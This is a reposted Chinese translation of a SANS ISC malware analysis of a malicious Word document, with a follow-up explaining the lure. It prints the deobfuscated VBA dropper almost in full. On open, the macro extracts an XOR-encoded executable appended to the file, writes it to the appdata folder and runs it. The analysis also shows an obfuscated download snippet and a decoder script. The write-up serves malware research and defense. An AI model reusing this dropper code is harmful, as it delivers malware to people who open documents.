转载

分析报告:嵌入恶意payload的Word文档

一周前,SANS ISC管理和自由安全顾问Xavier Mertens先生分析了一篇恶意word文档,下面是他对此给出的分析报告。

事件背景介绍

上星期,我忙于研究某个安全事件里出现的一份有趣的恶意word文档。在当今社会中,存在着恶意宏的OLE文档并不新鲜,我每天都会在电子邮箱里收到不少这样的玩意儿。在他们发现更好的办法攻陷终端用户的电脑之前,这样的攻击都会一直持续下去。通常恶意宏需要用社工手段欺骗用户来执行,然后通过对象MSXML2.ServerXMLHTTP下载一个新的payload。

下面是一个构造混淆对象发起GET请求的例子:

BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P" Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ) Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw

其实这个事件的好坏,决定于你的所在的立场。这样的样本文件,其实有助于我们研究人员收集IOC的IP地址、URL、域名、以及文件名。当然,解密混淆的恶意宏和收集IOC是非常容易的。

在我研究的那个恶意事件中,word文档里的恶意宏并没有产生任何网络流量,payload从开始就被放置在word文档的结尾。该文档是在2015年9月生成的,在三天前VT得分只有2/43,我是第一个提交它的人。而该word文档的内容格式非常严整,其中含有能勾引受害人上当的内容。这里不得不提下,我使用了Didier Stevens的工具箱分析了这个恶意文档。

恶意文件分析报告

该文档由用户Helmut在2015年9月3日创建,里面包含了两个宏:

$ oledump.py malicious.doc  1:       121 '/x01CompObj'  2:      4096 '/x05DocumentSummaryInformation'  3:      4096 '/x05SummaryInformation'  4:     23860 '1Table'  5:    781575 'Data'  6:       486 'Macros/PROJECT'  7:        71 'Macros/PROJECTwm'  8: m     940 'Macros/VBA/ThisDocument'  9:      3256 'Macros/VBA/_VBA_PROJECT' 10:       569 'Macros/VBA/dir' 11: M    6052 'Macros/VBA/islamabad' 12:    257675 'WordDocument' 

其中一个有趣的宏在上面的第11行代码,也就是名为islamabad(伊斯兰堡,巴基斯坦的首都)的地方。这是一个经典的混淆过的宏,可以通过下面这条命令提取:

$ oledump.py -s 11 -v malicious.doc

注意:我在宏代码里做了些修改,并对混淆过的代码进行解密,以便读者更好得阅读。

这个恶意payload(PE文件),与附加的数据(payload大小和校验和)一起放置在word文档末尾,我们一起来看看代码:

Attribute VB_Name = "islamabad" Public var_Filename1 As String Public var_Path1 As String

第一个函数提取了附加数据流的校验和:

Function func_Checksum(var_Data() As Byte, var_Len As Long) As Byte     For I = 0 To var_Len - 1         func_Checksum = func_Checksum Xor var_Data(I)     Next I End Function

下面的函数,会把二进制数据流进行XOR,然后在下一个函数中将其解密:

Function func_DecodeBinary(var_Data() As Byte, var_Len As Long) As Boolean  Dim var_IV1 As Byte  var_IV1 = 11  For I = 0 To var_Len - 1   var_Data(I) = var_Data(I) Xor var_IV1   var_IV1 = ((var_IV1 Xor 13) Xor (I Mod 256))  Next I  func_DecodeBinary = True End Function 

这个 VBA函数 改变了文档的布局,但我不太明白是啥原因:

Function func_FormatDocument() As Boolean  ActiveDocument.GrammarChecked = False  ActiveDocument.SpellingChecked = False  ActiveDocument.Select  Selection.Font.ColorIndex = wdBlack  Selection.Font.Underline = wdUnderlineNone  Selection.HomeKey  For Each sec In ActiveDocument.Sections   For Each head In sec.Headers    head.Range.Delete   Next  Next  ViewDocument = True End Function Sub AutoClose() ActiveDocument.Save End Sub 

在文档打开时,主要的宏会自动执行:

Sub AutoOpen()  On Error GoTo ErrorCondition1  Dim var_Dummy1 As Boolean  var_Dummy1 = func_FormatDocument()  Dim fh_File1  Dim var_Filesize As Long  Dim var_BinarySize As Long Dim var_Checksum As Byte 

我们来获取文件大小,打开它并提取校验和(EOF -4),以及二进制数据流大小(EOF -3):

    var_Filesize = FileLen(ActiveDocument.FullName)     fh_File1 = FreeFile     Open (ActiveDocument.FullName) For Binary As #fh_File1     Get #fh_File1, (var_Filesize - 4), var_Checksum     Get #fh_File1, (var_Filesize - 3), var_BinarySize       If var_BinarySize < 8 Then         GoTo ErrorCondition1     End If       If (var_BinarySize + 4) > var_Filesize Then         GoTo ErrorCondition1 End If

下面的脚本计算了数据流的起始位置,并预估出一个合适大小的字节数组:

    Dim var_Offset As Long     var_Offset = var_Filesize - (var_BinarySize + 4)     Dim var_BinaryData1() As Byte ReDim var_BinaryData1(var_BinarySize - 1)

接着,提取出了二进制的恶意文件,然后解密:

    Get #fh_File1, var_Offset, var_BinaryData1     Close #fh_File1     If Not func_DecodeBinary(var_BinaryData1(), var_BinarySize) Then         GoTo ErrorCondition1 End If

对比校验和:

    Dim var_Dummy2 As Byte     var_Dummy2 = func_Checksum(var_BinaryData1(), var_BinarySize)     If var_Checksum <> var_Dummy2 Then         GoTo ErrorCondition1 End If

释放出的payload,其默认路径被混淆了(真实值为appdata/Microsoft/Word):

var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100)

Scripting.FileSystemObject对象也被混淆了:

Set var_Object1 = CreateObject("Scripting" & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))

当然,为了防止默认路径不存在(非本例),脚本会使用另一个备用的路径(appdata)。

    If Not var_Object1.FolderExists(var_Path1) Then         var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97))     End If       Set var_Object1 = Nothing     Dim fh_File2 fh_File2 = FreeFile

释放出的payload文件名也被混淆了(真实名为:wfletxavb.exe):

注意:我不知道这里的文件名,为啥不是常见的动态随机生成的。那样其实可以避免文件系统对于恶意二进制流的检测。

    var_Filename1 = var_Path1 & "/" & Chr(119) & Chr(102) & Chr(108) & Chr(101) & Chr(116) & Chr(120) & Chr(97) & Chr(118) & Chr(98) & Chr(46) & Chr(101) & Chr(120) & Chr(101)     Open (var_Filename1) For Binary As #fh_File2     Put #fh_File2, 1, var_BinaryData1     Close #fh_File2 Erase var_BinaryData1

现在我们要执行啦:

 Set var_Object2 = CreateObject("WScript.Shell")  var_Object2.Exec var_Filename1  Exit Sub ErrorCondition1:  Close #fh_File1  Close #fh_File2  ActiveDocument.Save End Sub 

通过逆向宏,我们可以猜测二进制流的起始位置,然后通过Didier的cut-bytes.py脚本工具进行提取。我们需要跳过文档的末尾字节,包括payload大小和校验和。

注意:Didier在他的工具里加了一个新的特性,这可以帮助我们提取数据:那就是可以指定忽略文件末尾的字节(详见下面的“-5”处的指令代码):

$ cut-bytes.py "<position>:-5" malicious.doc >binary.data $ file binary.data binary.data: data

宏里的解码函数,我们可以借用它来为translate.py脚本工具写一个专用解码器:

def FileDecode(input):  output = ''  code = 11  for iIter in range(len(input)):   output += chr(ord(input[iIter]) ^ code)   code = (code ^ 13) ^ (iIter % 256) return output 

最后,我们可以解码二进制流,获得一个PE文件:

$ cat binary.data | translate.py -f -s decoder_caseXXXX.py -o binary.exe FileDecode $ file binary.exe binary.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

我并没有把这个PE样本文件报送到VirusTotal,但它很明显是一个恶意文件。

该文件由OLE文档、PE文件、校验和、PE文件长度构成,黑客借助它能快速生成一个新的加密PE文件,然后加进相同的word文档里。我很抱歉在这里不能分享样本,因为这次的分析研究还没有结束。

事件后记

上文中提到的Didier Steven先生,对本文做了一个后续补充。他表示在上文的分析中,Xavier提到了一个未知的VBA函数,他称之为func_FormatDocument。这个函数会改变文档的布局,在这里Didier分析了该函数的功能。

这个函数其实是社工技巧的一部分,在正常情况下,Microsoft Office宏在email附件里是默认禁用了的。如果黑客欺骗不了用户启用宏,本次攻击就会失败。

所以呢,黑客会用一个老掉牙的小手段,欺骗用户启用宏。其实就是设法让用户相信,文档里包含机密或者秘密的信息,然后用户自己需要启用宏才能查看。该word文档可能会包含隐藏、编码、加密的内容,用户需要去做点什么来揭开它神秘的面纱。这段VBA函数func_FormatDocument,就是这样一个复杂社工技巧的一部分。这个函数在用户选择启用宏后,会将字体颜色从白色到黑色,从而“解密”隐藏的内容,并去除让用户查看“真实内容”的指令提示。黑客就用这种弱智的手法欺骗用户,通过偷梁换柱的法子,启用了VBA宏并执行了恶意payload。

下面是视频,我相信大家看了视频,会比在这儿看我喷半天口水效果要好得多:

*参考来源: ISC ISC2 NS ,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...